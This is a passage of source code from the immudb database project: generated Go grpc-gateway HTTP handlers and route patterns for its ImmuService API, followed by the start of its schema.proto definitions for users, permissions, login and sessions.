http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_LoadDatabase_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_LoadDatabase_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_UnloadDatabase_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_UnloadDatabase_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_UnloadDatabase_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_DeleteDatabase_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_DeleteDatabase_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_DeleteDatabase_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_DatabaseList_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_DatabaseList_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_DatabaseList_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_DatabaseListV2_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_DatabaseListV2_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_DatabaseListV2_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("GET", pattern_ImmuService_UseDatabase_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_UseDatabase_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_UseDatabase_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_UpdateDatabase_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_UpdateDatabase_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_UpdateDatabase_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_UpdateDatabaseV2_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_UpdateDatabaseV2_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_UpdateDatabaseV2_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_GetDatabaseSettings_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_GetDatabaseSettings_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_GetDatabaseSettings_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_GetDatabaseSettingsV2_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_GetDatabaseSettingsV2_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_GetDatabaseSettingsV2_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("GET", pattern_ImmuService_FlushIndex_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_FlushIndex_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_FlushIndex_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("GET", pattern_ImmuService_CompactIndex_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_CompactIndex_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_CompactIndex_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_SQLExec_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_SQLExec_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_SQLExec_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_UnarySQLQuery_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_UnarySQLQuery_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_UnarySQLQuery_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_SQLQuery_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_SQLQuery_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_SQLQuery_0(ctx, mux, outboundMarshaler, w, req, func() (proto.Message, error) { return resp.Recv() }, mux.GetForwardResponseOptions()...) }) mux.Handle("GET", pattern_ImmuService_ListTables_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_ListTables_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_ListTables_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_DescribeTable_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_DescribeTable_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_DescribeTable_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_VerifiableSQLGet_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_VerifiableSQLGet_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_VerifiableSQLGet_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_ImmuService_TruncateDatabase_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_ImmuService_TruncateDatabase_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_ImmuService_TruncateDatabase_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) return nil } var ( pattern_ImmuService_ListUsers_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"user", "list"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_CreateUser_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0}, []string{"user"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_ChangePassword_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2}, []string{"user", "password", "change"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_ChangePermission_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"user", "changepermission"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_ChangeSQLPrivileges_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"user", "changesqlprivileges"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_SetActiveUser_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"user", "setactiveUser"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_Login_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0}, []string{"login"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_Logout_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0}, []string{"logout"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_Set_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"db", "set"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_VerifiableSet_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2}, []string{"db", "verifiable", "set"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_Get_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 1, 0, 4, 1, 5, 2}, []string{"db", "get", "key"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_VerifiableGet_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2}, []string{"db", "verifiable", "get"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_Delete_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"db", "deletekey"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_GetAll_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"db", "getall"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_ExecAll_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"db", "execall"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_Scan_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"db", "scan"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_Count_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 1, 0, 4, 1, 5, 2}, []string{"db", "count", "prefix"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_CountAll_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"db", "countall"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_TxById_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 1, 0, 4, 1, 5, 1}, []string{"db", "tx"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_VerifiableTxById_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2, 1, 0, 4, 1, 5, 2}, []string{"db", "verifiable", "tx"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_TxScan_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"db", "tx"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_History_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"db", "history"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_ServerInfo_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0}, []string{"serverinfo"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_Health_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0}, []string{"health"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_DatabaseHealth_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"db", "health"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_CurrentState_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"db", "state"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_SetReference_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"db", "setreference"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_VerifiableSetReference_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2}, []string{"db", "verifiable", "setreference"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_ZAdd_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"db", "zadd"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_VerifiableZAdd_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2}, []string{"db", "verifiable", "zadd"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_ZScan_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"db", "zscan"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_CreateDatabase_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"db", "create"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_CreateDatabaseWith_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"db", "createwith"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_CreateDatabaseV2_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2}, []string{"db", "create", "v2"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_LoadDatabase_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"db", "load"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_UnloadDatabase_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"db", "unload"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_DeleteDatabase_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"db", "delete"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_DatabaseList_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"db", "list"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_DatabaseListV2_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2}, []string{"db", "list", "v2"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_UseDatabase_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 1, 0, 4, 1, 5, 2}, []string{"db", "use", "databaseName"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_UpdateDatabase_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"db", "update"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_UpdateDatabaseV2_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2}, []string{"db", "update", "v2"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_GetDatabaseSettings_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"db", "settings"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_GetDatabaseSettingsV2_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2}, []string{"db", "settings", "v2"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_FlushIndex_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"db", "flushindex"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_CompactIndex_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"db", "compactindex"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_SQLExec_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"db", "sqlexec"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_UnarySQLQuery_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"db", "sqlquery"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_SQLQuery_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"db", "sqlquery"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_ListTables_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2}, []string{"db", "table", "list"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_DescribeTable_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"db", "tables"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_VerifiableSQLGet_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2}, []string{"db", "verifiable", "sqlget"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_TruncateDatabase_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"db", "truncate"}, "", runtime.AssumeColonVerbOpt(true))) ) var ( forward_ImmuService_ListUsers_0 = runtime.ForwardResponseMessage forward_ImmuService_CreateUser_0 = runtime.ForwardResponseMessage forward_ImmuService_ChangePassword_0 = runtime.ForwardResponseMessage forward_ImmuService_ChangePermission_0 = runtime.ForwardResponseMessage forward_ImmuService_ChangeSQLPrivileges_0 = runtime.ForwardResponseMessage forward_ImmuService_SetActiveUser_0 = runtime.ForwardResponseMessage forward_ImmuService_Login_0 = runtime.ForwardResponseMessage forward_ImmuService_Logout_0 = runtime.ForwardResponseMessage forward_ImmuService_Set_0 = runtime.ForwardResponseMessage forward_ImmuService_VerifiableSet_0 = runtime.ForwardResponseMessage forward_ImmuService_Get_0 = runtime.ForwardResponseMessage forward_ImmuService_VerifiableGet_0 = runtime.ForwardResponseMessage forward_ImmuService_Delete_0 = runtime.ForwardResponseMessage forward_ImmuService_GetAll_0 = runtime.ForwardResponseMessage forward_ImmuService_ExecAll_0 = runtime.ForwardResponseMessage forward_ImmuService_Scan_0 = runtime.ForwardResponseMessage forward_ImmuService_Count_0 = runtime.ForwardResponseMessage forward_ImmuService_CountAll_0 = runtime.ForwardResponseMessage forward_ImmuService_TxById_0 = runtime.ForwardResponseMessage forward_ImmuService_VerifiableTxById_0 = runtime.ForwardResponseMessage forward_ImmuService_TxScan_0 = runtime.ForwardResponseMessage forward_ImmuService_History_0 = runtime.ForwardResponseMessage forward_ImmuService_ServerInfo_0 = runtime.ForwardResponseMessage forward_ImmuService_Health_0 = runtime.ForwardResponseMessage forward_ImmuService_DatabaseHealth_0 = runtime.ForwardResponseMessage forward_ImmuService_CurrentState_0 = runtime.ForwardResponseMessage forward_ImmuService_SetReference_0 = runtime.ForwardResponseMessage forward_ImmuService_VerifiableSetReference_0 = runtime.ForwardResponseMessage forward_ImmuService_ZAdd_0 = runtime.ForwardResponseMessage forward_ImmuService_VerifiableZAdd_0 = runtime.ForwardResponseMessage forward_ImmuService_ZScan_0 = runtime.ForwardResponseMessage forward_ImmuService_CreateDatabase_0 = runtime.ForwardResponseMessage forward_ImmuService_CreateDatabaseWith_0 = runtime.ForwardResponseMessage forward_ImmuService_CreateDatabaseV2_0 = runtime.ForwardResponseMessage forward_ImmuService_LoadDatabase_0 = runtime.ForwardResponseMessage forward_ImmuService_UnloadDatabase_0 = runtime.ForwardResponseMessage forward_ImmuService_DeleteDatabase_0 = runtime.ForwardResponseMessage forward_ImmuService_DatabaseList_0 = runtime.ForwardResponseMessage forward_ImmuService_DatabaseListV2_0 = runtime.ForwardResponseMessage forward_ImmuService_UseDatabase_0 = runtime.ForwardResponseMessage forward_ImmuService_UpdateDatabase_0 = runtime.ForwardResponseMessage forward_ImmuService_UpdateDatabaseV2_0 = runtime.ForwardResponseMessage forward_ImmuService_GetDatabaseSettings_0 = runtime.ForwardResponseMessage forward_ImmuService_GetDatabaseSettingsV2_0 = runtime.ForwardResponseMessage forward_ImmuService_FlushIndex_0 = runtime.ForwardResponseMessage forward_ImmuService_CompactIndex_0 = runtime.ForwardResponseMessage forward_ImmuService_SQLExec_0 = runtime.ForwardResponseMessage forward_ImmuService_UnarySQLQuery_0 = runtime.ForwardResponseMessage forward_ImmuService_SQLQuery_0 = runtime.ForwardResponseStream forward_ImmuService_ListTables_0 = runtime.ForwardResponseMessage forward_ImmuService_DescribeTable_0 = runtime.ForwardResponseMessage forward_ImmuService_VerifiableSQLGet_0 = runtime.ForwardResponseMessage forward_ImmuService_TruncateDatabase_0 = runtime.ForwardResponseMessage ) ================================================ FILE: pkg/api/schema/schema.proto ================================================ /* Copyright 2022 Codenotary Inc. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ syntax = "proto3"; package immudb.schema; import "google/api/annotations.proto"; import "google/protobuf/empty.proto"; import "google/protobuf/struct.proto"; import "protoc-gen-swagger/options/annotations.proto"; option go_package = "github.com/codenotary/immudb/pkg/api/schema"; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_swagger) = { base_path: "/api", info: { title: "immudb REST API"; description: "IMPORTANT: All get and safeget functions return base64-encoded keys and values, while all set and safeset functions expect base64-encoded inputs." }; security_definitions: { security: { key: "bearer" value: { type: TYPE_API_KEY in: IN_HEADER name: "Authorization" description: "Authentication token, prefixed by Bearer: Bearer " } } } security: { security_requirement: { key: "bearer" } } }; message Key { bytes key = 1; } message Permission { // Database name string database = 1; // Permission, 1 - read permission, 2 - read+write permission, 254 - admin, 255 - sysadmin uint32 permission = 2; } message User { // Username bytes user = 1; // List of permissions for the user repeated Permission permissions = 3; // Name of the creator user string createdby = 4; // Time when the user was created string createdat = 5; // Flag indicating whether the user is active or not bool active = 6; // List of SQL privileges repeated SQLPrivilege sqlPrivileges = 7; } message SQLPrivilege { // Database name string database = 1; // Privilege: SELECT, CREATE, INSERT, UPDATE, DELETE, DROP, ALTER string privilege = 2; } message UserList { // List of users repeated User users = 1; } message CreateUserRequest { // Username bytes user = 1; // Login password bytes password = 2; // Permission, 1 - read permission, 2 - read+write permission, 254 - admin uint32 permission = 3; // Database name string database = 4; } message UserRequest { // Username bytes user = 1; } message ChangePasswordRequest { // Username bytes user = 1; // Old password bytes oldPassword = 2; // New password bytes newPassword = 3; } message LoginRequest { // Username bytes user = 1; // User's password bytes password = 2; } message LoginResponse { // Deprecated: use session-based authentication string token = 1; // Optional: additional warning message sent to the user (e.g. request to change the password) bytes warning = 2; } // DEPRECATED message AuthConfig { uint32 kind = 1; } // DEPRECATED message MTLSConfig { bool enabled = 1; } message OpenSessionRequest { // Username bytes username = 1; // Password bytes password = 2; // Database name string databaseName = 3; } message OpenSessionResponse { // Id of the new session string 